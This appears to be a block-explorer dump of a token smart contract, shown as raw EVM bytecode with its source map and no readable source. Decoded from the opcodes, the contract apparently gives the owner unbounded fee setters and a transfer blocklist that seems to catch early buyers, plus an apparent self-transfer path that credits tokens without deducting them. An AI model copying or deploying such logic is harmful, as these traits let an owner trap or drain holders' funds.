498611324565b34801561081c57600080fd5b506104da611333565b34801561083157600080fd5b506104da6113b8565b34801561084657600080fd5b506104346113f4565b34801561085b57600080fd5b50610409611403565b34801561087057600080fd5b50610409611409565b34801561088557600080fd5b5061040961140f565b34801561089a57600080fd5b506104da6108a9366004612627565b611415565b3480156108ba57600080fd5b506104616108c936600461265b565b611475565b3480156108da57600080fd5b506104da6108e936600461273c565b6114dd565b3480156108fa57600080fd5b50610409611517565b34801561090f57600080fd5b5061046161091e366004612577565b61151d565b34801561092f57600080fd5b5061046161093e36600461265b565b611532565b34801561094f57600080fd5b5061046161095e366004612754565b611546565b34801561096f57600080fd5b506104da61097e366004612686565b61154b565b34801561098f57600080fd5b5061046161099e366004612577565b61160a565b3480156109af57600080fd5b506104da6109be366004612722565b611628565b3480156109cf57600080fd5b506104da6109de366004612775565b61167b565b3480156109ef57600080fd5b506104096116d5565b348015610a0457600080fd5b506104da610a13366004612722565b6116db565b348015610a2457600080fd5b50610409611762565b348015610a3957600080fd5b50610498611768565b348015610a4e57600080fd5b50610409611777565b348015610a6357600080fd5b5061040961177d565b348015610a7857600080fd5b50610409611783565b348015610a8d57600080fd5b50610461611789565b348015610aa257600080fd5b50610409611799565b348015610ab757600080fd5b50610409610ac63660046125af565b61179f565b348015610ad757600080fd5b506104986117ca565b348015610aec57600080fd5b506104096117d9565b348015610b0157600080fd5b506104da610b10366004612577565b6117df565b348015610b2157600080fd5b506104da610b30366004612577565b611895565b60085481565b606060018054610b4a90612ba0565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7690612ba0565b8015610bc35780601f10610b9857610100808354040283529160200191610bc3565b820191906000526020600020905b815481529060010190602001808311610ba657829003601f168201915b5050505050905090565b6000610be1610bda6119a2565b84846119a6565b5060015b92915050565b601b5481565b601e546001600160a01b031681565b601a5490565b610c0e6119a2565b6000546001600160a01b03908116911614610c445760405162461bcd60e51b8152600401610c3b90612a00565b60405180910390fd5b601183905560128290556013819055610c6781610c6185856118ec565b906118ec565b601855505050565b6000610c7c848484611a5a565b50610ced84610c896119a2565b610ce885604051806060016040528060288152602001612c22602891396001600160a01b038a16600090815260066020526040812090610cc76119a2565b6001600160a01b031681526020810191909152604001600020549190611dbf565b6119a6565b5060015b9392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b610d246119a2565b6000546001600160a01b03908116911614610d515760405162461bcd60e51b8152600401610c3b90612a00565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000610db3610daa7f000000000000000000000000000000000000000000000000000000000000dead6111c1565b601a5490611df9565b905090565b60035460ff1690565b610dc96119a2565b6000546001600160a01b03908116911614610df65760405162461bcd60e51b8152600401610c3b90612a00565b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b6000610be1610e2e6119a2565b84610ce88560066000610e3f6119a2565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906118ec565b610e776119a2565b6000546001600160a01b03908116911614610ea45760405162461bcd60e51b8152600401610c3b90612a00565b601d55565b610eb16119a2565b6000546001600160a01b03908116911614610ede5760405162461bcd60e51b8152600401610c3b90612a00565b601f8054911515600160b01b0260ff60b01b19909216919091179055565b60035461010090046001600160a01b031681565b600c6020526000908152604090205460ff1681565b600a6020526000908152604090205460ff1681565b601f54600160a81b900460ff1681565b610f526119a2565b6000546001600160a01b03908116911614610f7f5760405162461bcd60e51b8152600401610c3b90612a00565b60c98210610f8c57600080fd5b60005b82811015611009578160096000868685818110610fbc57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610fd19190612577565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561100281612bdb565b9050610f8f565b50505050565b600b6020526000908152604090205460ff1681565b60145481565b6110326119a2565b6000546001600160a01b0390811691161461105f5760405162461bcd60e51b8152600401610c3b90612a00565b600e839055600f829055601081905561107c81610c6185856118ec565b601755505050565b601f54600160b81b900460ff1681565b60155481565b6110a26119a2565b6000546001600160a01b039081169116146110cf5760405162461bcd60e51b8152600401610c3b90612a00565b6107d182106110dd57600080fd5b60006110e98383612b6a565b9050806110f5336111c1565b101561110057600080fd5b60005b8381101561115d5761114a3386868481811061112f57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906111449190612577565b85611e3b565b508061115581612bdb565b915050611103565b5050505050565b61116c6119a2565b6000546001600160a01b039081169116146111995760405162461bcd60e51b8152600401610c3b90612a00565b600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6001600160a01b0381166000908152600560205260409020545b919050565b6111e86119a2565b6000546001600160a01b039081169116146112155760405162461bcd60e51b8152600401610c3b90612a00565b60085543600755565b60185481565b61122c6119a2565b6000546001600160a01b039081169116146112595760405162461bcd60e51b8152600401610c3b90612a00565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b61128c6119a2565b6000546001600160a01b039081169116146112b95760405162461bcd60e51b8152600401610c3b90612a00565b601b55565b60115481565b6112cc6119a2565b6000546001600160a01b039081169116146112f95760405162461bcd60e51b8152600401610c3b90612a00565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b031690565b61133b6119a2565b6000546001600160a01b039081169116146113685760405162461bcd60e51b8152600401610c3b90612a00565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6113c06119a2565b6000546001600160a01b039081169116146113ed5760405162461bcd60e51b8152600401610c3b90612a00565b6000600755565b606060028054610b4a90612ba0565b601c5481565b601d5490565b60195481565b61141d6119a2565b6000546001600160a01b0390811691161461144a5760405162461bcd60e51b8152600401610c3b90612a00565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6000610be16114826119a2565b84610ce885604051806060016040528060258152602001612c4a60259139600660006114ac6119a2565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611dbf565b6114e56119a2565b6000546001600160a01b039081169116146115125760405162461bcd60e51b8152600401610c3b90612a00565b601c55565b60165481565b60096020526000908152604090205460ff1681565b6000610ced61153f6119a2565b8484611a5a565b101590565b6115536119a2565b6000546001600160a01b039081169116146115805760405162461bcd60e51b8152600401610c3b90612a00565b60c9821061158d57600080fd5b60005b828110156110095781600d60008686858181106115bd57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906115d29190612577565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561160381612bdb565b9050611590565b6001600160a01b03166000908152600d602052604090205460ff1690565b6116306119a2565b6000546001600160a01b0390811691161461165d5760405162461bcd60e51b8152600401610c3b90612a00565b601f8054911515600160b81b0260ff60b81b19909216919091179055565b6116836119a2565b6000546001600160a01b039081169116146116b05760405162461bcd60e51b8152600401610c3b90612a00565b6014839055601582905560168190556116cd81610c6185856118ec565b601955505050565b60105481565b6116e36119a2565b6000546001600160a01b039081169116146117105760405162461bcd60e51b8152600401610c3b90612a00565b601f805460ff60a81b1916600160a81b831515021790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061175790839061285f565b60405180910390a150565b600f5481565b601f546001600160a01b031681565b60125481565b60135481565b60075481565b601f54600160b01b900460ff1681565b600e5481565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6004546001600160a01b031681565b60175481565b6117e76119a2565b6000546001600160a01b039081169116146118145760405162461bcd60e51b8152600401610c3b90612a00565b6001600160a01b03811661183a5760405162461bcd60e51b8152600401610c3b90612900565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b61189d6119a2565b6000546001600160a01b039081169116146118ca5760405162461bcd60e51b8152600401610c3b90612a00565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000806118f98385612b32565b905083811015610cf15760405162461bcd60e51b8152600401610c3b90612988565b60008261192a57506000610be5565b60006119368385612b6a565b9050826119438583612b4a565b14610cf15760405162461bcd60e51b8152600401610c3b906129bf565b6000610cf183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f1f565b3390565b6001600160a01b0383166119cc5760405162461bcd60e51b8152600401610c3b90612a7a565b6001600160a01b0382166119f25760405162461bcd60e51b8152600401610c3b90612946565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590611a4d908590612abe565b60405180910390a3505050565b60006001600160a01b038416611a825760405162461bcd60e51b8152600401610c3b90612a35565b6001600160a01b038316611aa85760405162461bcd60e51b8152600401610c3b906128bd565b601f54600160a01b900460ff1615611acc57611ac5848484611e3b565b9050610cf1565b6001600160a01b0384166000908152600b602052604090205460ff16158015611b0e57506001600160a01b0383166000908152600b602052604090205460ff16155b15611b2857611b1f82601b54611546565b611b2857600080fd5b6000611b33306111c1565b601d5490915081108015908190611b545750601f54600160a01b900460ff16155b8015611b7957506001600160a01b0386166000908152600c602052604090205460ff16155b8015611b8e5750601f54600160a81b900460ff165b15611bb457601f54600160b01b900460ff1615611bab57601d5491505b611bb482611f4d565b611bbe8686612088565b15611c2f576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038916600090815260059091529190912054611c15918690611dbf565b6001600160a01b0387166000908152600560205260409020555b6001600160a01b03861660009081526009602052604081205460ff1680611c6e57506001600160a01b03861660009081526009602052604090205460ff165b15611c7a575083611cde565b600060075411611c8957600080fd5b611c9d4360085460075461095e9190612b32565b8015611cc257506001600160a01b0386166000908152600c602052604090205460ff16155b15611cd057611cd0866120c0565b611cdb87878761212e565b90505b601f54600160b81b900460ff168015611d1057506001600160a01b0386166000908152600a602052604090205460ff16155b15611d3657611d2d611d2582610c61896111c1565b601c54611546565b611d3657600080fd5b6001600160a01b038616600090815260056020526040902054611d5990826118ec565b6001600160a01b0380881660008181526005602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611dab908590612abe565b60405180910390a360019350505050610cf1565b60008184841115611de35760405162461bcd60e51b8152600401610c3b919061286a565b506000611df08486612b89565b95945050505050565b6000610cf183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611dbf565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600590915291822054611e8c918490611dbf565b6001600160a01b038086166000908152600560205260408082209390935590851681522054611ebb90836118ec565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611f0d908690612abe565b60405180910390a35060019392505050565b60008183611f405760405162461bcd60e51b8152600401610c3b919061286a565b506000611df08486612b4a565b601f805460ff60a01b1916600160a01b179055601954601454600091611f8391600291611f7d918290879061191b565b90611960565b90506000611f918383611df9565b9050611f9c8161227b565b6014544790600090611fbc90611fb3906002611960565b60195490611df9565b90506000611fde6002611f7d84611f7d6014548861191b90919063ffffffff16565b90506000611ffb83611f7d6016548761191b90919063ffffffff16565b905060006120138261200d8786611df9565b90611df9565b90508015612036576003546120369061010090046001600160a01b031682612439565b811561205257600454612052906001600160a01b031683612439565b6000831180156120625750600087115b15612071576120718784612474565b5050601f805460ff60a01b19169055505050505050565b6000816001600160a01b0316836001600160a01b0316141580610cf157506004546001600160a01b0384811691161415905092915050565b6001600160a01b0381166000908152600d602052604090205460ff1615801561210257506001600160a01b0381166000908152600c602052604090205460ff16155b1561212b576001600160a01b0381166000908152600d60205260409020805460ff191660011790555b50565b6001600160a01b0383166000908152600c6020526040812054819060ff16156121725761216b6064611f7d6017548661191b90919063ffffffff16565b90506121b0565b6001600160a01b0384166000908152600c602052604090205460ff16156121b0576121ad6064611f7d6018548661191b90919063ffffffff16565b90505b6001600160a01b0385166000908152600d602052604090205460ff1680156121f157506001600160a01b0385166000908152600c602052604090205460ff16155b156121f95750815b8015612271573060009081526005602052604090205461221990826118ec565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90612268908590612abe565b60405180910390a35b611df08382611df9565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106122be57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561231257600080fd5b505afa158015612326573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234a9190612593565b8160018151811061236b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601e5461239191309116846119a6565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906123ca908590600090869030904290600401612ae8565b600060405180830381600087803b1580156123e457600080fd5b505af11580156123f8573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161242d929190612ac7565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561246f573d6000803e3d6000fd5b505050565b601e5461248c9030906001600160a01b0316846119a6565b601e546004805460405163f305d71960e01b81526001600160a01b039384169363f305d7199386936124cc9330938a936000938493921691429101612824565b6060604051808303818588803b1580156124e557600080fd5b505af11580156124f9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061115d91906127a0565b60008083601f84011261252f578182fd5b50813567ffffffffffffffff811115612546578182fd5b602083019150836020808302850101111561256057600080fd5b9250929050565b803580151581146111db57600080fd5b600060208284031215612588578081fd5b8135610cf181612c0c565b6000602082840312156125a4578081fd5b8151610cf181612c0c565b600080604083850312156125c1578081fd5b82356125cc81612c0c565b915060208301356125dc81612c0c565b809150509250929050565b6000806000606084860312156125fb578081fd5b833561260681612c0c565b9250602084013561261681612c0c565b929592945050506040919091013590565b60008060408385031215612639578182fd5b823561264481612c0c565b915061265260208401612567565b90509250929050565b6000806040838503121561266d578182fd5b823561267881612c0c565b946020939093013593505050565b60008060006040848603121561269a578283fd5b833567ffffffffffffffff8111156126b0578384fd5b6126bc8682870161251e565b90945092506126cf905060208501612567565b90509250925092565b6000806000604084860312156126ec578283fd5b833567ffffffffffffffff811115612702578384fd5b61270e8682870161251e565b909790965060209590950135949350505050565b600060208284031215612733578081fd5b610cf182612567565b60006020828403121561274d578081fd5b5035919050565b60008060408385031215612766578182fd5b50508035926020909101359150565b600080600060608486031215612789578283fd5b505081359360208301359350604090920135919050565b6000806000606084860312156127b4578283fd5b8351925060208401519150604084015190509250925092565b6000815180845260208085019450808401835b838110156128055781516001600160a01b0316875295820195908201906001016127e0565b509495945050505050565b6001600160a01b0391909116815260200190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156128965785810183015185820160400152820161287a565b818111156128a75783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b600083825260406020830152612ae060408301846127cd565b949350505050565b600086825285602083015260a06040830152612b0760a08301866127cd565b6001600160a01b0394909416606083015250608001529392505050565b60ff91909116815260200190565b60008219821115612b4557612b45612bf6565b500190565b600082612b6557634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612b8457612b84612bf6565b500290565b600082821015612b9b57612b9b612bf6565b500390565b600281046001821680612bb457607f821691505b60208210811415612bd557634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612bef57612bef612bf6565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461212b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122001cc6bd40dd168d9e2ec5cdc53acebd9902a82ae2f711b5b890e826ce6ce696f64736f6c63430008000033

Deployed Bytecode Sourcemap

21132:502:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4828:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8787:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;10081:161::-;;;;;;;;;;-1:-1:-1;10081:161:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;5629:26::-;;;;;;;;;;;;;:::i;5746:41::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;9064:100::-;;;;;;;;;;;;;:::i;11542:259::-;;;;;;;;;;-1:-1:-1;11542:259:0;;;;;:::i;:::-;;:::i;:::-;;13907:313;;;;;;;;;;-1:-1:-1;13907:313:0;;;;;:::i;:::-;;:::i;4574:81::-;;;;;;;;;;;;;:::i;10871:135::-;;;;;;;;;;-1:-1:-1;10871:135:0;;;;;:::i;:::-;;:::i;13368:128::-;;;;;;;;;;;;;:::i;8973:83::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;15107:113::-;;;;;;;;;;-1:-1:-1;15107:113:0;;;;;:::i;:::-;;:::i;9450:218::-;;;;;;;;;;-1:-1:-1;9450:218:0;;;;;:::i;:::-;;:::i;12664:124::-;;;;;;;;;;-1:-1:-1;12664:124:0;;;;;:::i;:::-;;:::i;13231:125::-;;;;;;;;;;-1:-1:-1;13231:125:0;;;;;:::i;:::-;;:::i;4489:36::-;;;;;;;;;;;;;:::i;5030:45::-;;;;;;;;;;-1:-1:-1;5030:45:0;;;;;:::i;:::-;;:::i;4921:47::-;;;;;;;;;;-1:-1:-1;4921:47:0;;;;;:::i;:::-;;:::i;5861:40::-;;;;;;;;;;;;;:::i;11014:260::-;;;;;;;;;;-1:-1:-1;11014:260:0;;;;;:::i;:::-;;:::i;4975:48::-;;;;;;;;;;-1:-1:-1;4975:48:0;;;;;:::i;:::-;;:::i;5359:30::-;;;;;;;;;;;;;:::i;11282:252::-;;;;;;;;;;-1:-1:-1;11282:252:0;;;;;:::i;:::-;;:::i;5960:29::-;;;;;;;;;;;;;:::i;5396:30::-;;;;;;;;;;;;;:::i;14337:368::-;;;;;;;;;;-1:-1:-1;14337:368:0;;;;;:::i;:::-;;:::i;12796:121::-;;;;;;;;;;-1:-1:-1;12796:121:0;;;;;:::i;:::-;;:::i;9172:119::-;;;;;;;;;;-1:-1:-1;9172:119:0;;;;;:::i;:::-;;:::i;15228:113::-;;;;;;;;;;-1:-1:-1;15228:113:0;;;;;:::i;:::-;;:::i;5506:33::-;;;;;;;;;;;;;:::i;10595:129::-;;;;;;;;;;-1:-1:-1;10595:129:0;;;;;:::i;:::-;;:::i;12183:113::-;;;;;;;;;;-1:-1:-1;12183:113:0;;;;;:::i;:::-;;:::i;5245:32::-;;;;;;;;;;;;;:::i;12407:125::-;;;;;;;;;;-1:-1:-1;12407:125:0;;;;;:::i;:::-;;:::i;2841:79::-;;;;;;;;;;;;;:::i;3066:155::-;;;;;;;;;;;;;:::i;15699:74::-;;;;;;;;;;;;;:::i;8878:87::-;;;;;;;;;;;;;:::i;5663:27::-;;;;;;;;;;;;;:::i;9953:120::-;;;;;;;;;;;;;:::i;5546:39::-;;;;;;;;;;;;;:::i;10732:127::-;;;;;;;;;;-1:-1:-1;10732:127:0;;;;;:::i;:::-;;:::i;9676:269::-;;;;;;;;;;-1:-1:-1;9676:269:0;;;;;:::i;:::-;;:::i;12540:116::-;;;;;;;;;;-1:-1:-1;12540:116:0;;;;;:::i;:::-;;:::i;5433:25::-;;;;;;;;;;;;;:::i;4864:50::-;;;;;;;;;;-1:-1:-1;4864:50:0;;;;;:::i;:::-;;:::i;13732:167::-;;;;;;;;;;-1:-1:-1;13732:167:0;;;;;:::i;:::-;;:::i;17749:86::-;;;;;;;;;;-1:-1:-1;17749:86:0;;;;;:::i;:::-;;:::i;14860:239::-;;;;;;;;;;-1:-1:-1;14860:239:0;;;;;:::i;:::-;;:::i;14228:101::-;;;;;;;;;;-1:-1:-1;14228:101:0;;;;;:::i;:::-;;:::i;12304:95::-;;;;;;;;;;-1:-1:-1;12304:95:0;;;;;:::i;:::-;;:::i;11813:358::-;;;;;;;;;;-1:-1:-1;11813:358:0;;;;;:::i;:::-;;:::i;5206:26::-;;;;;;;;;;;;;:::i;13052:171::-;;;;;;;;;;-1:-1:-1;13052:171:0;;;;;:::i;:::-;;:::i;5168:31::-;;;;;;;;;;;;;:::i;5794:26::-;;;;;;;;;;;;;:::i;5284:32::-;;;;;;;;;;;;;:::i;5323:27::-;;;;;;;;;;;;;:::i;4795:26::-;;;;;;;;;;;;;:::i;5908:45::-;;;;;;;;;;;;;:::i;5130:31::-;;;;;;;;;;;;;:::i;9299:143::-;;;;;;;;;;-1:-1:-1;9299:143:0;;;;;:::i;:::-;;:::i;4532:35::-;;;;;;;;;;;;;:::i;5467:32::-;;;;;;;;;;;;;:::i;3229:244::-;;;;;;;;;;-1:-1:-1;3229:244:0;;;;;:::i;:::-;;:::i;12925:119::-;;;;;;;;;;-1:-1:-1;12925:119:0;;;;;:::i;:::-;;:::i;4828:25::-;;;;:::o;8787:83::-;8824:13;8857:5;8850:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8787:83;:::o;10081:161::-;10156:4;10173:39;10182:12;:10;:12::i;:::-;10196:7;10205:6;10173:8;:39::i;:::-;-1:-1:-1;10230:4:0;10081:161;;;;;:::o;5629:26::-;;;;:::o;5746:41::-;;;-1:-1:-1;;;;;5746:41:0;;:::o;9064:100::-;9144:12;;9064:100;:::o;11542:259::-;2985:12;:10;:12::i;:::-;2975:6;;-1:-1:-1;;;;;2975:6:0;;;:22;;;2967:67;;;;-1:-1:-1;;;2967:67:0;;;;;;;:::i;:::-;;;;;;;;;11621:17:::1;:21:::0;;;11653:17:::1;:21:::0;;;11685:12:::1;:16:::0;;;11735:58:::1;11700:1:::0;11735:40:::1;11641:1:::0;11673;11735:21:::1;:40::i;:::-;:44:::0;::::1;:58::i;:::-;11714:18;:79:::0;-1:-1:-1;;;11542:259:0:o;13907:313::-;14005:4;14022:36;14032:6;14040:9;14051:6;14022:9;:36::i;:::-;;14069:121;14078:6;14086:12;:10;:12::i;:::-;14100:89;14138:6;14100:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14100:19:0;;;;;;:11;:19;;;;;;14120:12;:10;:12::i;:::-;-1:-1:-1;;;;;14100:33:0;;;;;;;;;;;;-1:-1:-1;14100:33:0;;;:89;:37;:89::i;:::-;14069:8;:121::i;:::-;-1:-1:-1;14208:4:0;13907:313;;;;;;:::o;4574:81::-;;;:::o;10871:135::-;2985:12;:10;:12::i;:::-;2975:6;;-1:-1:-1;;;;;2975:6:0;;;:22;;;2967:67;;;;-1:-1:-1;;;2967:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10961:26:0;;;::::1;;::::0;;;:17:::1;:26;::::0;;;;:37;;-1:-1:-1;;10961:37:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10871:135::o;13368:128::-;13421:7;13448:40;13465:22;13475:11;13465:9;:22::i;:::-;13448:12;;;:16;:40::i;:::-;13441:47;;13368:128;:::o;8973:83::-;9039:9;;;;8973:83;:::o;15107:113::-;2985:12;:10;:12::i;:::-;2975:6;;-1:-1:-1;;;;;2975:6:0;;;:22;;;2967:67;;;;-1:-1:-1;;;2967:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;15185:18:0;;;::::1;;::::0;;;:7:::1;:18;::::0;;;;:27;;-1:-1:-1;;15185:27:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15107:113::o;9450:218::-;9538:4;9555:83;9564:12;:10;:12::i;:::-;9578:7;9587:50;9626:10;9587:11;:25;9599:12;:10;:12::i;:::-;-1:-1:-1;;;;;9587:25:0;;;;;;;;;;;;;;;;;-1:-1:-1;9587:25:0;;;:34;;;;;;;;;;;:38;:50::i;12664:124::-;2985:12;:10;:12::i;:::-;2975:6;;-1:-1:-1;;;;;2975:6:0;;;:22;;;2967:67;;;;-1:-1:-1;;;2967:67:0;;;;;;;:::i;:::-;12746:23:::1;:34:::0;12664:124::o;13231:125::-;2985:12;:10;:12::i;:::-;2975:6;;-1:-1:-1;;;;;2975:6:0;;;:22;;;2967:67;;;;-1:-1:-1;;;2967:67:0;;;;;;;:::i;:::-;13312:25:::1;:36:::0;;;::::1;;-1:-1:-1::0;;;13312:36:0::1;-1:-1:-1::0;;;;13312:36:0;;::::1;::::0;;;::::1;::::0;;13231:125::o;4489:36::-;;;;;;-1:-1:-1;;;;;4489:36:0;;:::o;5030:45::-;;;;;;;;;;;;;;;:::o;4921:47::-;;;;;;;;;;;;;;;:::o;5861:40::-;;;-1:-1:-1;;;5861:40:0;;;;;:::o;11014:260::-;2985:12;:10;:12::i;:::-;2975:6;;-1:-1:-1;;;;;2975:6:0;;;:22;;;2967:67;;;;-1:-1:-1;;;2967:67:0;;;;;;;:::i;:::-;11142:3:::1;11123:22:::0;::::1;11115:31;;;::::0;::::1;;11162:9;11157:110;11173:20:::0;;::::1;11157:110;;;11249:6;11215:17;:31;11233:9;;11243:1;11233:12;;;;;-1:-1:-1::0;;;11233:12:0::1;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11215:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;11215:31:0;:40;;-1:-1:-1;;11215:40:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11195:3:::1;::::0;::::1;:::i;:::-;;;11157:110;;;;11014:260:::0;;;:::o;4975:48::-;;;;;;;;;;;;;;;:::o;5359:30::-;;;;:::o;11282:252::-;2985:12;:10;:12::i;:::-;2975:6;;-1:-1:-1;;;;;2975:6:0;;;:22;;;2967:67;;;;-1:-1:-1;;;2967:67:0;;;;;;;:::i;:::-;11361:16:::1;:20:::0;;;11392:16:::1;:20:::0;;;11423:11:::1;:15:::0;;;11471:55:::1;11437:1:::0;11471:38:::1;11380:1:::0;11411;11471:20:::1;:38::i;:55::-;11451:17;:75:::0;-1:-1:-1;;;11282:252:0:o;5960:29::-;;;-1:-1:-1;;;5960:29:0;;;;;:::o;5396:30::-;;;;:::o;14337:368::-;2985:12;:10;:12::i;:::-;2975:6;;-1:-1:-1;;;;;2975:6:0;;;:22;;;2967:67;;;;-1:-1:-1;;;2967:67:0;;;;;;;:::i;:::-;14469:4:::1;14450:23:::0;::::1;14442:32;;;::::0;::::1;;14485:12;14500:25;14509:9:::0;14500:6;:25:::1;:::i;:::-;14485:40;;14569:4;14544:21;14554:10;14544:9;:21::i;:::-;:29;;14536:38;;;::::0;::::1;;14589:6;14585:113;14599:20:::0;;::::1;14585:113;;;14640:46;14655:10;14666:9;;14676:1;14666:12;;;;;-1:-1:-1::0;;;14666:12:0::1;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14679:6;14640:14;:46::i;:::-;-1:-1:-1::0;14621:3:0;::::1;::::0;::::1;:::i;:::-;;;;14585:113;;;;3045:1;14337:368:::0;;;:::o;12796:121::-;2985:12;:10;:12::i;:::-;2975:6;;-1:-1:-1;;;;;2975:6:0;;;:22;;;2967:67;;;;-1:-1:-1;;;2967:67:0;;;;;;;:::i;:::-;12874:13:::1;:35:::0;;-1:-1:-1;;;;;12874:35:0;;::::1;;;-1:-1:-1::0;;;;;;12874:35:0;;::::1;::::0;;;::::1;::::0;;12796:121::o;9172:119::-;-1:-1:-1;;;;;9265:18:0;;9238:7;9265:18;;;:9;:18;;;;;;9172:119;;;;:::o;15228:113::-;2985:12;:10;:12::i;:::-;2975:6;;-1:-1:-1;;;;;2975:6:0;;;:22;;;2967:67;;;;-1:-1:-1;;;2967:67:0;;;;;;;:::i;:::-;15282:10:::1;:14:::0;15321:12:::1;15307:11;:26:::0;15228:113::o;5506:33::-;;;;:::o;10595:129::-;2985:12;:10;:12::i;:::-;2975:6;;-1:-1:-1;;;;;2975:6:0;;;:22;;;2967:67;;;;-1:-1:-1;;;2967:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;